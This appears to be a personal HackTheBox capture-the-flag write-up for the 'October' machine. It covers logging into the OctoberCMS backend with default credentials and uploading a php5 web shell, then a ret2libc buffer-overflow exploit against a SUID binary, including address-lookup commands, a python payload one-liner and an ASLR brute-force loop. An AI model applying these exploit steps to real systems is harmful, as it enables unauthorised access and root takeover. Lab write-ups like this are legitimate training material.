> For the complete documentation index, see [llms.txt](https://rouvin.gitbook.io/ibreakstuff/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://rouvin.gitbook.io/ibreakstuff/writeups/hackthebox/medium/october.md).
# October
## Gaining Access
Nmap scan:
We don't need to add anything into the hosts file.
### OctoberCMS
The website was running OctoberCMS and appears to have a default look:
Registering an account and trying to do stuff with it was useless and had no functionalities. So instead, we can abuse the fact that OctoberCMS is an open-source project. A quick Google search reveals that the backend of this is at `/backend`:
{% embed url="" %}
We can use the default credentials of `admin:admin`.
OctoberCMS has quite a few exploits:
{% embed url="" %}
We can use one of them to upload a `cmd.php5` file to execute on the server, as `php5` is not blocked on the server:
We can confirm we have RCE via `curl`.
Getting a reverse shell is then trivial.
## Privilege Escalation
### Ret2Libc
I ran a LinPEAS scan on the machine, and found this weird SUID binary called `overflw`:
I opened it up in Ghidra to view what it does:
It appears we have a classic BOF expliot to do here. The `strcpy` function is vulnerable, and the buffer is pretty short. Doing a `checksec` reveals that NX is enabled but PIE is disabled:
```
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
```
In this case, we can go for a Ret2Libc attack. First, we find the buffer size:
Fixed at 112 it appears (same as length of `local_74`). Now, we can use `ldd` to find the address where `libc` is loaded on the machine:
Then we can simply execute the following commands to get the addresses we need
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep -e " system@" -e " exit@"
strings -a -t x /lib/i386-linux-gnu/libc-2.27.so | grep "/bin/sh"
```
Afterwards, we can use a python one-liner to print the contents of the payload:
{% code overflow="wrap" %}
```python
python2 -c 'print"\x90" * 112 + "\x10\x83\x62\xb7" + "\x60\xb2\x61\xb7" + "\xac\xab\x74\xb7"'
```
{% endcode %}
When run however, it didn't work on the machine. Turns out, the machine itself already had ASLR enabled, and this can be verified in `/proc/sys/kernel/randomize_va_space`. Also, when checking the addresses, it seems to randomly shift each time.
In this case, we can check the **range of addresses which ASLR spans**. In this case, the range of addreses looks rather small since `libc` is loaded at roughly the same location:
```
www-data@october:/home/harry$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb75b1000)
www-data@october:/home/harry$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb763b000)
www-data@october:/home/harry$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7606000)
www-data@october:/home/harry$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7626000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7591000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7624000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7558000)
www-data@october:/dev/shm$ ldd /usr/local/bin/ovrflw | grep libc
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7567000)
```
So, we can set up a `bash` script to keep looping until we get a successful exploit.
{% code overflow="wrap" %}
```bash
while true; do /usr/local/bin/ovrflw $(python -c 'print "\x90"*112 + "\x10\x83\x63\xb7" + "\x60\xb2\x62\xb7" + "\xac\xab\x75\xb7"'); done
```
{% endcode %}
Rooted!